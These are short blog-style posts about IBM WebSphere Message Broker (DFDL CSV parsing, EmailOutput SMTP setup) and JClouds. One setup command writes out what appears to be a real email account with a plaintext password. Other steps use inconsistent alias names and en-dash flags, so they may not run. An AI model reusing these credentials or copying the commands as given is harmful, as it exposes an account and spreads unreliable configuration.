//MQQueueConnection connection = (MQQueueConnection) cf.createQueueConnection("username","password");

MQQueueSession session = (MQQueueSession) connection.createQueueSession(false, Session.AUTO_ACKN…

Working with CSV files made simple with Websphere MBT and DFDL

Working with CSV files and mapping them from/to any of the WebSphere Message Broker domains is a lot easier with the support for DFDL files in version 8.0

Using DFDL files you can easily create message flows to parse and serialize CSV messages to and from any of the WebSphere Message Broker domains.

http://publib.boulder.ibm.com/infocenter/wmbhelp/v8r0m0/index.jsp?topic=%2Fcom.ibm.dfdl.editor.messagebroker.doc%2Fdf20071_.html

For example I'd a project where I needed to capture order information from several third party marketplaces.
Each marketplace offered different methods for accessing the most recent order information for our account. For example
Web Services Interface FTP  Email
In addition each marketplace used a different format sometimes XML based and sometimes CSV based to describe orders placed.
Using the DFDL its a lot easier to create a mapping  between these various marketplace formats and in turn creates a standard output XML format that is suitable for our in house ERP sys…

Configure EmailOutput Node in Websphere Message Broker Toolkit

Launch a message broker command console and issue the following commands

mqsicreateconfigurableservice MB7BROKER –c SMTP –o SMTPAlias

mqsichangeproperties MB7BROKER –c SMTP –o SMTPAlias –n serverName –v mail.trevoroconnell.com:25

mqsichangeproperties MB7BROKER –c SMTP –o SMTPMyAlias –n securityIdentity –v mySecurity

mqsisetdbparms MB7BROKER -n securityIdentity –u trevor.oconnell@trevoroconnell.com -p trevor

Then within the WMBT, add your EmailOutput Node to the message flow
Open properties for the EmailOutput Node and for SMTP Server enter the alias SMTPAlias

Cloud Fault Tolerance with JClouds

JClouds makes building highly available cloud based applications a lot easier.  JClouds creates an abstraction layer that is independent of the underlying cloud infrastructure.

So for example JCloud Compute API allows you to easily interface with infrastructure cloud providers such as Amazon EC2 and VMWare vCloud etc using a single standard API.

So basically if you app runs across multiple computer nodes across multiple cloud infrastructure providers you only need to worry about learning one API to manage computer nodes i.e. the JCloud ComputeNode API.

http://www.jclouds.org/documentation/userguide/compute